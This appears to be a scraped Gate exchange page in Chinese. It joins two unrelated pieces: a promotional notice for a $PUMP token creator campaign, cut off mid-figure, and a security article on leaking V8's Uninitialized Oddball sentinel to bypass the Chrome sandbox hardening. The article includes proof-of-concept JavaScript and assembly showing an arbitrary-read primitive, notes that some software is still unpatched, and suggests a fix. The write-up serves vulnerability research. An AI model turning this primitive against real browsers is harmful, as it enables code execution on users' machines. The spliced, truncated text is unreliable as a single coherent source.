📢 Gate廣場 #创作者活动第一期# 火熱開啓,助力 PUMP 公募上線!
Solana 爆火項目 Pump.Fun($PUMP)現已登入 Gate 平台開啓公開發售!
參與 Gate廣場創作者活動,釋放內容力量,贏取獎勵!
📅 活動時間:7月11日 18:00 - 7月15日 22:00(UTC+8)
🎁 活動總獎池:$500 USDT 等值代幣獎勵
✅ 活動一:創作廣場貼文,贏取優質內容獎勵
📅 活動時間:2025年7月12日 22:00 - 7月15日 22:00(UTC+8)
📌 參與方式:在 Gate 廣場發布與 PUMP 項目相關的原創貼文
內容不少於 100 字
必須帶上話題標籤: #创作者活动第一期# #PumpFun#
🏆 獎勵設置:
一等獎(1名):$100
二等獎(2名):$50
三等獎(10名):$10
📋 評選維度:Gate平台相關性、內容質量、互動量(點讚+評論)等綜合指標;參與認購的截圖的截圖、經驗分享優先;
✅ 活動二:發推同步傳播,贏傳播力獎勵
📌 參與方式:在 X(推特)上發布與 PUMP 項目相關內容
內容不少於 100 字
使用標籤: #PumpFun # Gate
發布後填寫登記表登記回鏈 👉 https://www.gate.com/questionnaire/6874
🏆 獎勵設置:傳播影響力前 10 名用戶,瓜分 $2
Chrome V8引擎再現安全漏洞:Sentinel Value泄露可繞過沙箱
通過泄露Sentinel Value繞過Chrome V8 HardenProtect
Sentinel value是算法中的特殊值,常用於循環或遞歸算法的終止條件。Chrome源碼中存在多個Sentinel value。之前有研究指出如何利用TheHole對象泄露實現沙箱內任意代碼執行。本文將討論另一個V8原生對象 - Uninitialized Oddball,該方法目前仍可用於最新版V8。
這種方法具有普遍性:
Issue1216437中首先提出了泄露internal uninitialized oddball的概念。
Issue1314616中也直接泄露了UninitializedOddball,雖然當時利用方法尚不清晰。
Issue1352549值得關注其潛在影響。
目前某些軟件仍未修復該漏洞。
V8中的大多數原生對象定義在v8/src/roots/roots.h文件中,這些對象在內存中相鄰排布。一旦將不應泄露的原生對象暴露給JavaScript,就可能實現沙箱內任意代碼執行。
爲驗證該方法,可以修改V8的native函數,將Uninitialized Oddball泄露到JavaScript中。具體可修改%TheHole()函數中相對isolate的偏移。
該繞過方法的核心代碼如下:
javascript function read(obj, prop) { return obj[prop]; }
let uninitialized_oddball = %TheHole(); let arr = [1.1, 2.2, 3.3];
for (let i = 0; i < 100000; i++) { read(arr, 0);
}
let val = read(uninitialized_oddball, 0); console.log(val);
在V8 11.0.0中測試,當%TheHole()返回UninitializedOddball時,仍可實現相對任意讀。
優化後的read函數關鍵匯編如下:
0x558b20004086 mov r11,rdi 0x558b20004089 movzx edi,byte ptr [r11+0xb] 0x558b2000408d cmp edi,0x81 0x558b20004093 jnz 0x558b200040d8 0x558b20004095 mov r9,qword ptr [r11+0xf] 0x558b20004099 test esi,esi 0x558b2000409b js 0x558b200040d8 0x558b2000409d movsxd r11,esi 0x558b200040a0 cmp r11,qword ptr [r9+0xf] 0x558b200040a4 jae 0x558b200040d8 0x558b200040a6 vmovsd xmm0,[r9+r11*8+0x7]
當傳入uninitialized_oddball時,從0x558b20004086開始以obj爲起點計算,最終在vmovsd指令中完成任意讀,數據保存在xmm0寄存器中。
建議修復方法是在優化後的函數返回數組元素時,添加對數組map的檢查,避免直接計算偏移返回數組值。
值得注意的是,某些軟件仍未修復該漏洞。x86平台下利用方式略有不同,由於沒有地址壓縮,任意讀寫是相對於整個進程的。即使開啓了ASLR,由於文件過大,仍有較大概率讀寫到目標內容。
這種新的繞過方法大大降低了之前類似漏洞的利用難度。建議重新審視所有泄露uninitialized_oddball的漏洞。
V8中還存在其他Sentinel value,它們同樣可能導致類似問題。這給我們以下啓示:
其他uninitialized_Oddball泄露是否也易於實現V8 RCE。
此類問題是否應被正式視爲安全問題仍存在爭議。
Fuzzer中是否應將Sentinel value作爲變量加入以發掘新的利用原語。
無論如何,這類問題都會大大縮短黑客實現完整利用的週期。